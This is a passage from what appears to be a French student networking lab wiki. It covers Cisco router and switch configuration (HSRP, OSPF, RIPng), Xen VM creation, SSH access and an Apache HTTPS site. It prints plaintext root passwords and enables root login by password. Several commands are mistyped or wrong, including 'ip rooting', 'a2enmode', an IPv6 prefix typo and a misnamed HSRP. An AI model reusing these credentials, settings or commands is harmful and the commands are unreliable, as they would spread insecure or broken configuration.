  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51569</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51569"/>
				<updated>2019-12-07T02:16:47Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Création et initialisation de la machine virtuelle */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Connexion ssh@193.48.57.161'''&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
